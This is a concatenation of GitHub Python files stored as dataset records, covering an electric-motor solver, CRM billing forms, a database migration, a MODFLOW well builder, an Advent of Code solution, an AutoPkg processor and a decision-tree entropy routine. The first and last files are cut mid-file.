Bg_t, axis=1, dx=PI/180)\n pos_nl_cs = (pos1-self.__init_pos)*RAD2DEG\n cogging_cs = si.CubicSpline(pos_nl_cs,\n torque[0:len(pos1)],\n extrapolate='periodic')\n cogging_acs = np.linspace(0,360/self.__pp,180)\n\n pos_ol_cs = (pos3 - self.__init_pos) * RAD2DEG\n ripple_cs = si.CubicSpline(pos_ol_cs,\n torque[len(posNL):len(posNL)+len(pos3)],\n extrapolate='periodic')\n ripple_acs = np.linspace(0, 360 / self.__pp, 180)\n\n pos_st_cs = (pos4 - self.__init_pos) * RAD2DEG\n staticTq_cs = si.CubicSpline(pos_st_cs,\n torque[len(posNL)+len(pos3):len(posNL)+len(posOL)-len(pos5)])\n staticTq_acs = np.linspace(0, 360 / self.__pp, 45)\n\n\n self.__results.cogging_torque_x = cogging_acs\n self.__results.cogging_torque_y = cogging_cs(cogging_acs)\n self.__results.torque_ripple_x = ripple_acs\n self.__results.torque_ripple_y = ripple_cs(ripple_acs)\n self.__results.static_torque_x = staticTq_acs\n self.__results.static_torque_y = staticTq_cs(staticTq_acs)\n self.__results.nl_Bg_theta = np.linspace(0, 360, 360)\n self.__results.nl_Bg_r = Bg_r[0,:]\n self.__results.nl_Bg_t = Bg_t[0,:]\n self.__results.ol_Bg_r = Bg_r[len(posNL), :]\n self.__results.ol_Bg_t = Bg_t[len(posNL), :]\n\n\n nrows = len(posNL) + len(pos3)\n\n fl = np.zeros((nrows,3))\n\n for i in range(0, nrows):\n fl[i] = (Lstk * r / self.__Cp) * np.trapz(Bg_r[i,:] * self.__results.wf, dx=PI/180)\n\n fl_a = np.concatenate((fl[0:len(posNL), 0], fl[0:len(posNL), 2], fl[0:len(posNL), 1], fl[0:len(posNL), 0],\n fl[len(posNL):len(posNL)+len(pos3), 0], fl[len(posNL):len(posNL)+len(pos3), 2],\n fl[len(posNL):len(posNL)+len(pos3), 1], fl[len(posNL):len(posNL)+len(pos3), 0] ),\n axis=0)\n fl_b = np.concatenate((fl[0:len(posNL), 1], fl[0:len(posNL), 0], fl[0:len(posNL), 2], fl[0:len(posNL), 1],\n fl[len(posNL):len(posNL) + len(pos3), 1], fl[len(posNL):len(posNL) + len(pos3), 0],\n fl[len(posNL):len(posNL) + len(pos3), 2], fl[len(posNL):len(posNL) + len(pos3), 1]),\n axis=0)\n fl_c = np.concatenate((fl[0:len(posNL), 2], fl[0:len(posNL), 1], fl[0:len(posNL), 0], fl[0:len(posNL), 2],\n fl[len(posNL):len(posNL)+len(pos3), 2], fl[len(posNL):len(posNL)+len(pos3), 1],\n fl[len(posNL):len(posNL)+len(pos3), 0], fl[len(posNL):len(posNL)+len(pos3), 2] ),\n axis=0)\n\n pos_nl_bemf_cs = (posNL - self.__init_pos) * RAD2DEG\n\n pos_nl_abc = np.concatenate( (self.__pp*pos_nl_bemf_cs,\n self.__pp*pos_nl_bemf_cs + 120,\n self.__pp*pos_nl_bemf_cs + 240,\n self.__pp*pos_nl_bemf_cs + 360 ), axis=0 )\n\n fl_a_nl_cs = si.CubicSpline(pos_nl_abc,\n fl_a[0:4*len(posNL)])\n fl_b_nl_cs = si.CubicSpline(pos_nl_abc,\n fl_b[0:4*len(posNL)])\n fl_c_nl_cs = si.CubicSpline(pos_nl_abc,\n fl_c[0:4*len(posNL)])\n\n self.__results.nl_flux_linkage_y = np.array( [fl_a_nl_cs(THETA_e_DEG),\n fl_b_nl_cs(THETA_e_DEG),\n fl_c_nl_cs(THETA_e_DEG)] )\n self.__results.nl_flux_linkage_x = THETA_e_DEG\n\n\n # Extract fundamental of flux linkage due to magnet\n fft_magnet_flux = fft(self.__results.nl_flux_linkage_y[0,:])\n self.__results.magnet_flux = (2.0 / len(self.__results.nl_flux_linkage_y[0,:])) * np.abs(fft_magnet_flux[1])\n\n bemf_a = np.zeros( EL_STEPS )\n bemf_b = np.zeros(EL_STEPS)\n bemf_c = np.zeros(EL_STEPS)\n for i in range(1,30,2):\n bemf_a = ( bemf_a + (1.0/EL_STEPS) * ( 1j*i*wr_nl*self.__pp*(PI/30) ) *\n ( fft_magnet_flux[i]*np.exp( 1j*i*THETA_e_RAD ) -\n np.conjugate(fft_magnet_flux[i])*np.exp( -1j*i*THETA_e_RAD ) ) )\n bemf_b = ( bemf_b + (1.0/EL_STEPS) * ( 1j*i*wr_nl*self.__pp*(PI/30) ) *\n ( fft_magnet_flux[i]*np.exp( 1j*i*(THETA_e_RAD - PI_2by3) ) -\n np.conjugate(fft_magnet_flux[i])*np.exp( -1j*i*(THETA_e_RAD - PI_2by3) ) ) )\n bemf_c = (bemf_c + (1.0 / EL_STEPS) * (1j * i * wr_nl * self.__pp * (PI / 30)) *\n (fft_magnet_flux[i] * np.exp(1j * i * (THETA_e_RAD + PI_2by3)) -\n np.conjugate(fft_magnet_flux[i]) * np.exp(-1j * i * (THETA_e_RAD + PI_2by3))))\n\n self.__results.bemf_y = np.array( [ np.real( bemf_a ), np.real( bemf_b ), np.real( bemf_c )] )\n self.__results.bemf_x = THETA_e_DEG\n\n pos_ol_abc = np.concatenate( (self.__pp*pos_ol_cs,\n self.__pp*pos_ol_cs + 120,\n self.__pp*pos_ol_cs + 240,\n self.__pp*pos_ol_cs + 360 ), axis=0 )\n\n fl_a_ol_cs = si.CubicSpline(pos_ol_abc,\n fl_a[4*len(posNL):4*(len(posNL)+len(pos3))])\n fl_b_ol_cs = si.CubicSpline(pos_ol_abc,\n fl_b[4*len(posNL):4*(len(posNL)+len(pos3))])\n fl_c_ol_cs = si.CubicSpline(pos_ol_abc,\n fl_c[4*len(posNL):4*(len(posNL)+len(pos3))])\n\n self.__results.ol_flux_linkage_y = np.array( [fl_a_ol_cs(THETA_e_DEG),\n fl_b_ol_cs(THETA_e_DEG),\n fl_c_ol_cs(THETA_e_DEG)] )\n self.__results.ol_flux_linkage_x = THETA_e_DEG\n\n i_a = np.concatenate((I1[:, 0], I1[:, 2], I1[:, 1], I1[:, 0]))\n i_b = np.concatenate((I1[:, 1], I1[:, 0], I1[:, 2], I1[:, 1]))\n i_c = np.concatenate((I1[:, 2], I1[:, 1], I1[:, 0], I1[:, 2]))\n i_a_cs = si.CubicSpline(pos_ol_abc, i_a)\n i_b_cs = si.CubicSpline(pos_ol_abc, i_b)\n i_c_cs = si.CubicSpline(pos_ol_abc, i_c)\n\n self.__results.phase_current_y = self.__Cp * np.array( [ i_a_cs(THETA_e_DEG),\n i_b_cs(THETA_e_DEG),\n i_c_cs(THETA_e_DEG)])\n self.__results.phase_current_x = THETA_e_DEG\n\n fl_only_phA_current = (Lstk * r / self.__Cp) * np.trapz(Bg_r[-1, :] * self.__results.wf, dx=PI / 180)\n\n self.__results.self_inductance_ag = (np.abs((fl_only_phA_current[0] - self.__results.nl_flux_linkage_y[0,0]) /\n (self.load_current)))\n self.__results.mutual_inductance_ag = -(np.abs((fl_only_phA_current[1] - self.__results.nl_flux_linkage_y[1,0]) /\n (self.load_current)))\n\n\n iq = np.average( K_QD[0, 0, :] * self.__results.phase_current_y[0, :] +\n K_QD[0, 1, :] * self.__results.phase_current_y[1, :] +\n K_QD[0, 2, :] * self.__results.phase_current_y[2, :])\n id = np.average( K_QD[1, 0, :] * self.__results.phase_current_y[0, :] +\n K_QD[1, 1, :] * self.__results.phase_current_y[1, :] +\n K_QD[1, 2, :] * self.__results.phase_current_y[2, :])\n\n fl_abc_noMagnet = - self.__results.nl_flux_linkage_y + self.__results.ol_flux_linkage_y\n\n fq = np.average(K_QD[0, 0, :] * fl_abc_noMagnet[0, :] +\n K_QD[0, 1, :] * fl_abc_noMagnet[1, :] +\n K_QD[0, 2, :] * fl_abc_noMagnet[2, :])\n fd = np.average(K_QD[1, 0, :] * fl_abc_noMagnet[0, :] +\n K_QD[1, 1, :] * fl_abc_noMagnet[1, :] +\n K_QD[1, 2, :] * fl_abc_noMagnet[2, :])\n\n # Only Flux in q-axis\n self.__results.Lmq = fq / ( iq )\n self.__results.Lmd = self.__results.Lmq\n\n self.__results.self_inductance = ( self.__results.self_inductance_ag +\n self.__results.self_inductance_slot_leakage +\n self.__results.self_inductance_end_winding_leakage )\n self.__results.mutual_inductance = ( self.__results.mutual_inductance_ag +\n self.__results.mutual_inductance_slot_leakage +\n self.__results.mutual_inductance_end_winding_leakage )\n\n self.__results.Ld = self.__results.self_inductance - self.__results.mutual_inductance\n self.__results.Lq = self.__results.Ld\n #Sb = self.__oSr - (self.__iSr + (self._stator._slots[0]).get_slot_total_height())\n #res.end_winding_leakage = self._stator._winding.end_winding_permeance(Sb)\n\n\n # Calculate average pressure on different rotor positions\n #Pr = (1 / (2*MU0)) * (Bg_r[0:len(posNL)+1:len(posNL),:] * Bg_r[0:len(posNL)+1:len(posNL),:] -\n # Bg_t[0:len(posNL)+1:len(posNL),:] * Bg_t[0:len(posNL)+1:len(posNL),:])\n Pr = (1 / (2 * MU0)) * (Bg_r * Bg_r-\n Bg_t * Bg_t)\n\n # Conversion to MPa\n Pr_fft_nl = np.average( fft(Pr[0:len(pos1),:]) / 1e6 , axis=0 )\n Pr_fft_ol = np.average( fft(Pr[len(posNL)+1:len(posNL)+1+len(pos3),:]) / 1e6 , axis=0 )\n\n self.__results.pressure_radial_nl = (2.0 / len(Pr_fft_nl)) * np.abs(Pr_fft_nl[0: 5 * self.__gcd + 1])\n self.__results.pressure_radial_ol = (2.0 / len(Pr_fft_ol)) * np.abs(Pr_fft_ol[0: 5 * self.__gcd + 1])\n\n\n self.get_self_and_mutual_inductance()\n\n\n return True\n\n\n def get_results(self):\n return self.__results\n\n\n\n","repo_name":"ajpina/emanpy","sub_path":"emanpy/solvers/spm_ir_rf_subdomain.py","file_name":"spm_ir_rf_subdomain.py","file_ext":"py","file_size_in_byte":38608,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"2"} +{"seq_id":"23990937460","text":"import logging\n\nfrom django.utils.translation import gettext_lazy as _, pgettext_lazy\n\nfrom creme.creme_core.forms import CremeEntityForm, GenericEntityField, CreatorEntityField\nfrom creme.creme_core.models import Relation\nfrom creme.creme_core.utils import find_first\n\nfrom creme.persons import get_contact_model, get_organisation_model, get_address_model\n\nfrom ..constants import REL_SUB_BILL_ISSUED, REL_SUB_BILL_RECEIVED\nfrom ..models import PaymentInformation\n\nlogger = logging.getLogger(__name__)\n\n\n# TODO: move to persons ??\ndef copy_or_create_address(address, owner, name):\n if address is None:\n name = str(name)\n return get_address_model().objects.create(name=name, owner=owner, address=name)\n\n return address.clone(owner)\n\n\ndef first_managed_orga_id():\n try:\n return get_organisation_model().objects.filter_managed_by_creme().values_list('id', flat=True)[0]\n except IndexError:\n logger.warning('No managed organisation ?!')\n\n\nclass BaseEditForm(CremeEntityForm):\n source = CreatorEntityField(label=pgettext_lazy('billing', 'Source organisation'), model=get_organisation_model())\n target = GenericEntityField(label=pgettext_lazy('billing', 'Target'),\n models=[get_organisation_model(), get_contact_model()],\n )\n\n class Meta(CremeEntityForm.Meta):\n labels = {\n 'discount': _('Overall discount (in %)'),\n }\n\n blocks = CremeEntityForm.blocks.new(\n ('orga_n_address', _('Organisations'), ['source', 'target']), # TODO: rename (beware to template)\n )\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.issued_relation = None\n self.received_relation = None\n self.old_user_id = self.instance.user_id\n\n pk = self.instance.pk\n\n if pk is not None: # Edit mode\n relations = Relation.objects.filter(subject_entity=pk, type__in=(REL_SUB_BILL_ISSUED, REL_SUB_BILL_RECEIVED))\n\n issued_relation = find_first(relations, (lambda r: r.type_id == REL_SUB_BILL_ISSUED), None)\n received_relation = find_first(relations, (lambda r: r.type_id == REL_SUB_BILL_RECEIVED), None)\n\n if issued_relation:\n self.issued_relation = issued_relation\n self.fields['source'].initial = issued_relation.object_entity_id\n\n if received_relation:\n self.received_relation = received_relation\n self.fields['target'].initial = received_relation.object_entity\n\n def _manage_relation(self, existing_relation, type_id, related_entity):\n if existing_relation:\n if related_entity.id != existing_relation.object_entity_id:\n existing_relation.delete()\n existing_relation = None\n\n if not existing_relation:\n instance = self.instance\n Relation.objects.safe_create(\n subject_entity=instance,\n type_id=type_id,\n object_entity=related_entity,\n user=instance.user,\n )\n\n def save(self, *args, **kwargs):\n instance = self.instance\n\n cleaned_data = self.cleaned_data\n source = cleaned_data['source']\n target = cleaned_data['target']\n user = cleaned_data['user']\n\n payment_info = instance.payment_info\n pinfo_orga_id = payment_info.organisation_id if payment_info else None\n\n if source.id != pinfo_orga_id:\n instance.payment_info = None\n\n if instance.payment_info is None: # Optimization\n source_pis = PaymentInformation.objects.filter(organisation=source.id)[:2]\n if len(source_pis) == 1:\n instance.payment_info = source_pis[0]\n\n instance = super().save(*args, **kwargs)\n\n self._manage_relation(self.issued_relation, REL_SUB_BILL_ISSUED, source) # TODO: move this intelligence in models.Base.save()\n self._manage_relation(self.received_relation, REL_SUB_BILL_RECEIVED, target)\n\n # TODO: do this in model/with signal to avoid errors ???\n if self.old_user_id and self.old_user_id != user.id:\n # Do not use queryset.update() to call the CremeEntity.save() method TODO: change with future Credentials system ??\n for line in instance.iter_all_lines():\n line.user = instance.user\n line.save()\n\n return instance\n\n\nclass BaseCreateForm(BaseEditForm):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n # self.fields['source'].initial = first_managed_orga_id()\n try:\n managed_orga = get_organisation_model().objects.filter_managed_by_creme()[0]\n except IndexError:\n logger.warning('No managed organisation ?!')\n else:\n fields = self.fields\n fields['source'].initial = managed_orga\n\n if type(self.instance).generate_number_in_create:\n fields['number'].help_text = _(\n 'If you chose an organisation managed by Creme (like «{}») '\n 'as source organisation, a number will be automatically generated.'\n ).format(managed_orga)\n\n def save(self, *args, **kwargs):\n instance = self.instance\n cleaned_data = self.cleaned_data\n target = cleaned_data['target']\n\n if instance.generate_number_in_create:\n instance.generate_number(cleaned_data['source'])\n\n super().save(*args, **kwargs)\n\n instance.billing_address = copy_or_create_address(target.billing_address, instance, _('Billing address'))\n instance.shipping_address = copy_or_create_address(target.shipping_address, instance, _('Shipping address'))\n\n instance.save()\n\n return instance\n","repo_name":"HybirdCorp/creme_crm-2.1","sub_path":"creme/billing/forms/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":5844,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"29922785668","text":"\"\"\"add ingredients table\n\nRevision ID: bc52d9f14134\nRevises: 16c02273728c\nCreate Date: 2023-03-28 11:15:52.031423\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\nimport os\nenvironment = os.getenv(\"FLASK_ENV\")\nSCHEMA = os.environ.get(\"SCHEMA\")\n\n# revision identifiers, used by Alembic.\nrevision = 'bc52d9f14134'\ndown_revision = '16c02273728c'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('ingredients',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('recipe_id', sa.Integer(), nullable=False),\n sa.Column('ingredient', sa.String(), nullable=False),\n sa.Column('amount', sa.Float(), nullable=False),\n sa.Column('units', sa.String(), nullable=True),\n sa.ForeignKeyConstraint(['recipe_id'], ['recipes.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n if environment == \"production\":\n op.execute(f\"ALTER TABLE ingredients SET SCHEMA {SCHEMA};\")\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('ingredients')\n # ### end Alembic commands ###\n","repo_name":"NickArakaki/JustAnotherCookbook","sub_path":"migrations/versions/20230328_111552_add_ingredients_table.py","file_name":"20230328_111552_add_ingredients_table.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"1445229874","text":"#gv.py\n#\n#\tConfigurations\n#\nconfigShowFig \t\t= True\nconfigReadText \t\t= True\nconfigDebugText \t= False\nconfigOcrFilter\t\t= True\nconfigRemoveWav\t\t= False\nconfigNumCharToRead\t= 200\nconfigScreenWidth\t= 1024\nconfigScreenHeight\t= 1024\nconfigContMode \t\t= False\nconfigOverlapThreshold \t= 0.6\n\n#\n#\tConfigurations\n#\nconstAmpCoeff\t\t= 0.8\nconstHeadWidth\t\t= 0.18\n#\n#\tGlobal Variables\n#\nidx \t\t\t= 0\nfirst \t\t\t= True\nmode \t\t\t= 0\nvolume\t\t\t= 50\n","repo_name":"mjycho/read_object_2019","sub_path":"src/gv.py","file_name":"gv.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"29245629369","text":"import socket\r\n\r\nHOST = '127.0.0.1'\r\nPORT = 50007\r\nflag = False\r\nwhile not flag:\r\n mail = input(\"Your e-mail: \")\r\n message = input(\"Your message: \")\r\n try:\r\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\r\n s.connect((HOST, PORT))\r\n s.sendall(mail.rjust(1024, \" \").encode())\r\n s.sendall(message.rjust(1024, \" \").encode())\r\n data = s.recv(1024)\r\n if data.decode() == \"OK\":\r\n print('Received your feedback. Thank you!')\r\n flag = True\r\n else:\r\n print(data.decode())\r\n flag = False\r\n except Exception as e:\r\n print(e)\r\n","repo_name":"Margaret-booklover/python","sub_path":"a��хив/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"17826399049","text":"'''\nwells.py\n'''\n\nimport flopy\nimport numpy as np\n\n\n\ndef build(gwf, grid, wells, nper):\n '''\n Initializes flopy well package based on input params\n\n Input:\n - gwf : flopy object\n - grid : gridgen object\n - wells : dict with wells definition/config\n - nper : number of stress periods\n '''\n ###########################\n # WHEN LAYERS ARE KNOWN\n ###########################\n \n WELLS=wells\n\n # Initialize wel_stress_period dict for wel pkg\n wel_stress_period = {}\n for sp in range(nper):\n wel_stress_period[ sp ] = []\n \n\n # Intersect wells with the grid\n for w in WELLS:\n\n w['grid_cells'] = grid.intersect([ (w['x'], w['y']) ], 'point', 0 )\n #w['grid_cells'] = grid.intersect([ (w['x'], w['y']) ], 'point', w['layers'][0] )\n\n # If the well is not pumping, continue \n # to the next\n if not w['pumping']:\n continue\n \n # If the well has several layers\n # Apply pumping method if defined\n if len(w['layers']) > 1:\n try:\n sc['pumping_method']\n w['pumping_method'] = sc['pumping_method']\n except KeyError:\n w['pumping_method'] = 'distributed_by_transmissivities'\n else:\n # Fallback to single layer\n w['pumping_method'] = 'deepest_layer'\n \n # For DISV grid\n well_nodenumber = w['grid_cells'].nodenumber.item()\n \n # Loop over pumping cycles/stress periods\n for wsp in w['pumping']:\n \n w_stress_period = []\n \n if w['pumping_method'] == 'deepest_layer':\n # Apply flow rate to deepest layer without correcctions\n w_stress_period.append(\n [\n (w['layers'][-1], well_nodenumber),\n wsp['flow_rate'],\n w['id'] + '_SP' + str(wsp['stress_period_id'])\n ]\n )\n \n elif w['pumping_method'] == 'distributed_by_transmissivities':\n # Distribute flow rate based on transmissivities\n # Requires npf package\n bottom_array = sc['gwf'].modelgrid.botm[:, well_nodenumber]\n model_layers_height= abs(np.diff(bottom_array)) # Substracts from the last item, removes the first\n well_layers_height = model_layers_height[ [ l-1 for l in w['layers'] ] ]\n npf_package = sc['gwf'].get_package('npf')\n kxx_layers = npf_package.k.array[w['layers'], well_nodenumber]\n \n if npf_package.k22.has_data():\n kyy_layers = npf_package.k22.array[w['layers'], well_nodenumber]\n trans_layers = [ np.sqrt(kyy_layers[index]*kxx_layers[index])*l for index, l in enumerate(well_layers_height) ]\n else:\n trans_layers = [ kxx_layers[index]*l for index, l in enumerate(well_layers_height) ]\n \n cell_flow_rates = [ t*wsp['flow_rate']/sum(trans_layers) for t in trans_layers ]\n \n for index, layer in enumerate(w['layers']):\n w_stress_period.append(\n [\n (layer, well_nodenumber),\n cell_flow_rates[index],\n w['id'] + '_SP' + str(wsp['stress_period_id'])\n ]\n )\n \n elif w['pumping_method'] == 'deepest_layer_kzz_correction':\n # Apply flow rate to deepest layer,\n # increasing vertical k of upper layers\n npf_package = sc['gwf'].get_package('npf')\n kxx_data = npf_package.k.get_data()\n kxx_data[ w['layers'][:-1], well_nodenumber ] = [ kxx*10 for kxx in kxx_data[ w['layers'][:-1], well_nodenumber ] ]\n npf_package.k33.set_data(kxx_data) # It works, verified in .wel files\n w_stress_period.append(\n [\n (w['layers'][-1], well_nodenumber),\n wsp['flow_rate'],\n w['id'] + '_SP' + str(wsp['stress_period_id'])\n ]\n )\n \n elif w['pumping_method'] == 'homogeneous':\n # Distribute flow rate homogeneously\n for layer in w['layers']:\n w_stress_period.append(\n [\n (layer, well_nodenumber),\n wsp['flow_rate']/len(w['layers']),\n w['id'] + '_SP' + str(wsp['stress_period_id'])\n ]\n )\n \n else:\n raise Exception('setup.py: pumping method ' + w['pumping_method'] + ' not implemented.')\n \n \n # Assign to stress period\n wel_stress_period[ wsp['stress_period_id'] ].extend( w_stress_period )\n \n\n\n ###################\n # BUILD WEL PACKAGE\n ###################\n return flopy.mf6.ModflowGwfwel(\n gwf,\n stress_period_data=wel_stress_period,\n boundnames=True,\n save_flows=True\n )\n\n\n\n\nif __name__=='__main__':\n print('wells.py')\n","repo_name":"Paulossd/workshop-algarve-flopy-main","sub_path":"mf6het3d/wells.py","file_name":"wells.py","file_ext":"py","file_size_in_byte":5344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"28851068064","text":"import numpy as np\n\ndef read_forest(path):\n \"\"\" Reads a forest map at \"path\" \"\"\"\n with open(path) as f:\n forest = parse_forest(l.strip() for l in f)\n return(forest)\n\ndef parse_forest(lines):\n \"\"\"\n Parses a forest from a list of row strings into numpy.array of 0s and 1s\n (1 if there is a tree)\n \"\"\"\n def convert_line_to_int(line):\n tr = str.maketrans(\".#\", \"01\")\n return [int(d) for d in line.translate(tr)]\n return np.array([convert_line_to_int(l) for l in lines])\n\ndef are_trees(forest, coords):\n \"\"\"\n Check if \"coords\" coordinates are trees (list of tuples, first element is\n row, second is column, both 0 indexed) in \"forest\".\n Returns a list of `bool` of same length as \"coords\".\n \"\"\"\n def is_a_tree(forest, coord):\n r, c = coord\n (forest_depth, forest_width) = forest.shape\n if not 0 <= r < forest_depth:\n raise ValueError\n return forest[r, c % forest_width]\n trees = [is_a_tree(forest, c) for c in coords]\n return trees\n\ndef count_trees_on_way(direction, forest):\n \"\"\" Counts trees on way with \"direction\" a tuple (x, y) \"\"\"\n max_steps = int(forest.shape[0] / direction[0])\n coords = ((direction[0] * step, direction[1] * step) \\\n for step in range(max_steps))\n return sum(are_trees(forest, coords))\n\nif __name__ == \"__main__\":\n forest = read_forest(\"./day3/input.txt\")\n direction = (1, 3)\n ntrees1A = count_trees_on_way(direction, forest)\n print(\n f'Problem 3A:\\n'\n f'-----------\\n'\n f'Number of trees in direction {direction}: {ntrees1A}'\n )\n\n print()\n possible_directions = [(1, 1), (1, 3), (1, 5), (1, 7), (2, 1)]\n result1B = 1\n for direction in possible_directions:\n result1B *= count_trees_on_way(direction, forest)\n print(\n f'Problem 3B:\\n'\n f'-----------\\n'\n f'Solution: {result1B}'\n )\n\n","repo_name":"pierrecamilleri/advent_of_code_2020","sub_path":"day3/solution_day3.py","file_name":"solution_day3.py","file_ext":"py","file_size_in_byte":1927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"72684417648","text":"import os.path\n\nfrom autopkglib import Processor\n\n\ntry:\n # python 2\n from urlparse import urlsplit\nexcept ImportError:\n from urllib.parse import urlsplit\n\n\n__all__ = [\"XcodeVersionEmitter\"]\n\n\nclass XcodeVersionEmitter(Processor):\n \"\"\"Output a version number based on the URL. Skipped by default.\"\"\"\n\n description = __doc__\n input_variables = {\n \"dont_skip\": {\n \"required\": False,\n \"default\": False,\n \"description\": (\"If this evaluates as truthy, do not skip this step.\"),\n },\n \"url\": {\"required\": True, \"description\": (\"URL to parse the version from.\")},\n \"output_filepath\": {\n \"required\": True,\n \"description\": (\"Path to which xcode version tag is emitted.\"),\n },\n }\n output_variables = {\n \"derived_filename\": {\"description\": \"The derived filename to emit.\"}\n }\n\n __doc__ = description\n\n def main(self):\n \"\"\"Main.\"\"\"\n if not self.env[\"dont_skip\"]:\n self.output(\"dont_skip is false, so skipping this Processor.\")\n return\n url = self.env[\"url\"]\n url_split_object = urlsplit(url)\n # \"https://download.developer.apple.com/Developer_Tools/Xcode_10.2.1/Xcode_10.2.1.xip\" # noqa\n # \"https://developer.apple.com//services-account/download?path=/Developer_Tools/Xcode_11_Beta_2/Xcode_11_Beta_2.xip\" # noqa\n filename = os.path.splitext(os.path.basename(url_split_object.path))[0].lower()\n self.output(\"Derived filename: {}\".format(filename))\n self.env[\"derived_filename\"] = filename\n\n destination = os.path.expandvars(self.env[\"output_filepath\"])\n with open(destination, \"w\") as f:\n f.write(filename)\n self.output(\n \"Derived filename ({}) written to disk at {}\".format(\n filename, destination\n )\n )\n\n\nif __name__ == \"__main__\":\n PROCESSOR = XcodeVersionEmitter()\n PROCESSOR.execute_shell()\n","repo_name":"facebookarchive/Recipes-for-AutoPkg","sub_path":"Xcode/XcodeVersionEmitter.py","file_name":"XcodeVersionEmitter.py","file_ext":"py","file_size_in_byte":2000,"program_lang":"python","lang":"en","doc_type":"code","stars":75,"dataset":"github-code","pt":"20"} +{"seq_id":"20670431224","text":"import math\r\ndata = [[0, 0, 0, 0, 0, 0, 0.697, 1],\r\n [1, 0, 1, 0, 0, 0, 0.774, 1],\r\n [1, 0, 0, 0, 0, 0, 0.634, 1],\r\n [0, 0, 1, 0, 0, 0, 0.608, 1],\r\n [2, 0, 0, 0, 0, 0, 0.556, 1],\r\n [0, 1, 0, 0, 1, 1, 0.403, 1],\r\n [1, 1, 0, 1, 1, 1, 0.481, 1],\r\n [1, 1, 0, 0, 1, 0, 0.437, 1],\r\n [1, 1, 1, 1, 1, 0, 0.666, 0],\r\n [0, 2, 2, 0, 2, 1, 0.243, 0],\r\n [2, 2, 2, 2, 2, 0, 0.245, 0],\r\n [2, 0, 0, 2, 2, 1, 0.343, 0],\r\n [0, 1, 0, 1, 0, 0, 0.639, 0],\r\n [2, 1, 1, 1, 0, 0, 0.657, 0],\r\n [1, 1, 0, 0, 1, 1, 0.360, 0],\r\n [2, 0, 0, 2, 2, 0, 0.593, 0],\r\n [0, 0, 1, 1, 1, 0, 0.719, 0]]\r\n\r\ndivide_point = [0.244, 0.294, 0.351, 0.381, 0.420, 0.459, 0.518, 0.574, 0.600, 0.621, 0.636, 0.648, 0.661, 0.681, 0.708,\r\n 0.746]\r\n# 计算信息熵\r\ndef Entropy(melons):\r\n melons_num = len(melons)\r\n pos_num = 0\r\n nag_num = 0\r\n for i in range(melons_num):\r\n if melons[i][7] == 1:\r\n pos_num = pos_num + 1\r\n nag_num = melons_num - pos_num\r\n p_pos = pos_num / melons_num\r\n p_nag = nag_num / melons_num\r\n entropy = -(p_pos * math.log(p_pos, 2) + p_nag * math.log(p_nag, 2))\r\n return entropy\r\n\r\n# 计算第charac项特征的的信息熵\r\n# charac = 0~5\r\n# 输出:[信息增益,第几个特征]\r\ndef Entropy_Gain(melons, charac):\r\n charac_entropy = 0\r\n entropy_gain = 0\r\n melons_num = len(melons)\r\n\r\n # 密度特征是连续特征\r\n if charac >= 6:\r\n # 对于某一个划分点,划分后的信息增益\r\n density_entropy = list()\r\n density0 = list()\r\n density1 = list()\r\n class0_small_num = 0 # 是否大于第i个划分点用big和small表示,是否是好瓜用0和1表示\r\n class0_big_num = 0\r\n class1_small_num = 0\r\n class1_big_num = 0\r\n\r\n for i in range(melons_num):\r\n if melons[i][7] == 1:\r\n if melons[i][6] > divide_point[charac - 6]:\r\n class1_big_num = class1_big_num + 1\r\n else:\r\n class1_small_num = class1_small_num + 1\r\n else:\r\n if melons[i][6] > divide_point[charac - 6]:\r\n class0_big_num = class0_big_num + 1\r\n else:\r\n class0_small_num = class0_small_num + 1\r\n\r\n # 防止除零报错\r\n if class0_small_num == 0 and class1_small_num == 0:\r\n p0_small = 0\r\n p1_small = 0\r\n else:\r\n p0_small = class0_small_num / (class0_small_num + class1_small_num)\r\n p1_small = class1_small_num / (class0_small_num + class1_small_num)\r\n if class0_big_num == 0 and class1_big_num == 0:\r\n p0_big = 0\r\n p1_big = 0\r\n else:\r\n p0_big = class0_big_num / (class0_big_num + class1_big_num)\r\n p1_big = class1_big_num / (class0_big_num + class1_big_num)\r\n\r\n # 防止log0的报错\r\n if p0_small != 0 and p1_small != 0:\r\n entropy_small = -(class0_small_num + class1_small_num) / melons_num * (\r\n -(p0_small * math.log(p0_small, 2)\r\n + p1_small * math.log(p1_small, 2)))\r\n elif p0_small == 0 and p1_small != 0:\r\n entropy_small = -(class0_small_num + class1_small_num) / melons_num * (\r\n -p1_small * math.log(p1_small, 2))\r\n elif p0_small != 0 and p1_small == 0:\r\n entropy_small = -(class0_small_num + class1_small_num) / melons_num * (\r\n -p0_small * math.log(p0_small, 2))\r\n else:\r\n entropy_small = 0\r\n #print(entropy_small)\r\n\r\n if p0_big != 0 and p1_big != 0:\r\n entropy_big = -(class0_big_num + class1_big_num) / melons_num * (\r\n -(p0_big * math.log(p0_big, 2) + p1_big *\r\n math.log(p1_big, 2)))\r\n elif p0_big == 0 and p1_big != 0:\r\n entropy_big = -(class0_big_num + class1_big_num) / melons_num * (\r\n -p1_big * math.log(p1_big, 2))\r\n elif p0_big != 0 and p1_big == 0:\r\n entropy_big = -(class0_big_num + class1_big_num) / 